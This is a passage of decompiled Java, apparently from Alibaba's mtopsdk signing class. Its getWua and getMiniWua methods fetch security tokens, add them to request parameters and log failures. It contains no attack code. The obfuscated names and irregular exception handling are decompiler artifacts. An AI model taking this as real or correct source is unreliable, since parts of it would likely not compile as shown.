                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]get wua failed with no output ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            str = (String) wua.remove(ApiConstants.WUA);
            try {
                if (!StringUtils.isNotBlank(str)) {
                    return str;
                }
                params.putAll(wua);
                return str;
            } catch (UnsupportedEncodingException e3) {
                e = e3;
                TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
                return str;
            } catch (SecException e4) {
                e2 = e4;
                TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]get wua failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
                return str;
            }
        } catch (UnsupportedEncodingException e5) {
            UnsupportedEncodingException unsupportedEncodingException = e5;
            str = str2;
            e = unsupportedEncodingException;
            TBSdkLog.m3642e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]your input data transfer to byte utf-8 failed ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, e);
            return str;
        } catch (SecException e6) {
            SecException secException = e6;
            str = str2;
            e2 = secException;
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getWua]get wua failed and SecException errorCode " + e2.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e2);
            return str;
        }
    }

    public String getMiniWua(HashMap<String, String> params, HashMap<String, String> ext) {
        String str;
        SecException e;
        String str2 = "";
        try {
            if (this.f13463e == null) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]middleTier ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            HashMap hashMap = new HashMap();
            hashMap.put("env", Integer.valueOf(m13472d()));
            if (ext == null) {
                ext = new HashMap<>();
            }
            ext.put(C3934e.f8409i, params.get("api"));
            hashMap.put("extend_paras", ext);
            HashMap miniWua = this.f13463e.getMiniWua(hashMap);
            if (miniWua == null || miniWua.isEmpty()) {
                TBSdkLog.m3641e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]get miniwua failed with no output ", "appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode);
                return "";
            }
            str = (String) miniWua.remove("x-miniwua");
            try {
                if (!StringUtils.isNotBlank(str)) {
                    return str;
                }
                params.putAll(miniWua);
                return str;
            } catch (SecException e2) {
                e = e2;
                TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]get miniwua failed and SecException errorCode " + e.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e);
                return str;
            }
        } catch (SecException e3) {
            SecException secException = e3;
            str = str2;
            e = secException;
            TBSdkLog.m3643e("mtopsdk.InnerSignImpl", mo44553c() + " [getMiniWua]get miniwua failed and SecException errorCode " + e.getErrorCode() + ",appKeyIndex=" + this.f23497a.appKeyIndex + ",authCode=" + this.f23497a.authCode, (Throwable) e);
            return str;
        }
    }